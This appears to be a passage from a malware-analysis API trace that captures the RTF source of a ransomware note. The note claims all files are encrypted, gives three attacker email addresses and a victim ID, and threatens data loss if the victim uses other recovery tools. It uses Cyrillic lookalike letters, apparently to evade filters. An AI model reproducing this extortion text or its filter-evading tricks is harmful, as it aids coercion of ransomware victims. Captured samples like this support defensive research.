-m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x27bfb38, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 